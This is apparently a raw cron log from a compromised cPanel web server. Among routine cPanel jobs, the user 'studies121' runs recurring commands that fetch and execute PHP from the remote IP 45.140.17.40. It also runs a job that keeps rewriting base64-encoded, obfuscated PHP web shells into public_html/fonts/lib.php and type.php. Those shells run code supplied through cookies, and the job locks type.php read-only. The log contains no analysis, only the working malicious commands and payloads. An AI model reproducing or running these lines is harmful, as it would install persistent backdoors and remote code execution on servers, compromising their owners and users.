Sep  2 20:30:01 ip-184-168-122-23 CROND[8434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:30:01 ip-184-168-122-23 CROND[8435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8433]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:30:01 ip-184-168-122-23 CROND[8432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:31:01 ip-184-168-122-23 CROND[8562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:31:01 ip-184-168-122-23 CROND[8564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:31:01 ip-184-168-122-23 CROND[8565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:31:01 ip-184-168-122-23 CROND[8566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:31:01 ip-184-168-122-23 CROND[8567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 20:32:01 ip-184-168-122-23 CROND[8647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:32:01 ip-184-168-122-23 CROND[8649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:32:01 ip-184-168-122-23 CROND[8650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:32:01 ip-184-168-122-23 CROND[8651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:32:01 ip-184-168-122-23 CROND[8653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:33:01 ip-184-168-122-23 CROND[8812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:33:01 ip-184-168-122-23 CROND[8814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:33:01 ip-184-168-122-23 CROND[8815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:33:01 ip-184-168-122-23 CROND[8813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:34:01 ip-184-168-122-23 CROND[8892]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:34:01 ip-184-168-122-23 CROND[8893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:34:01 ip-184-168-122-23 CROND[8895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:34:01 ip-184-168-122-23 CROND[8894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:34:01 ip-184-168-122-23 CROND[8896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:35:01 ip-184-168-122-23 CROND[8991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8993]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:35:01 ip-184-168-122-23 CROND[8998]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 20:36:01 ip-184-168-122-23 CROND[9113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:36:01 ip-184-168-122-23 CROND[9115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:36:01 ip-184-168-122-23 CROND[9116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:36:01 ip-184-168-122-23 CROND[9117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:36:01 ip-184-168-122-23 CROND[9118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:37:01 ip-184-168-122-23 CROND[9236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:37:01 ip-184-168-122-23 CROND[9238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:37:01 ip-184-168-122-23 CROND[9240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:37:01 ip-184-168-122-23 CROND[9239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:38:01 ip-184-168-122-23 CROND[9399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:38:01 ip-184-168-122-23 CROND[9400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:38:01 ip-184-168-122-23 CROND[9402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:38:01 ip-184-168-122-23 CROND[9404]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:38:01 ip-184-168-122-23 CROND[9403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:39:01 ip-184-168-122-23 CROND[9489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:39:01 ip-184-168-122-23 CROND[9490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:39:01 ip-184-168-122-23 CROND[9492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:39:01 ip-184-168-122-23 CROND[9494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:39:01 ip-184-168-122-23 CROND[9493]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 20:40:01 ip-184-168-122-23 CROND[9596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:40:01 ip-184-168-122-23 CROND[9598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:40:01 ip-184-168-122-23 CROND[9597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:41:02 ip-184-168-122-23 CROND[9691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:41:02 ip-184-168-122-23 CROND[9693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 20:41:02 ip-184-168-122-23 CROND[9694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 20:41:02 ip-184-168-122-23 CROND[9695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:42:01 ip-184-168-122-23 CROND[9778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 20:42:01 ip-184-168-122-23 CROND[9780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 20:42:01 ip-184-168-122-23 CROND[9783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
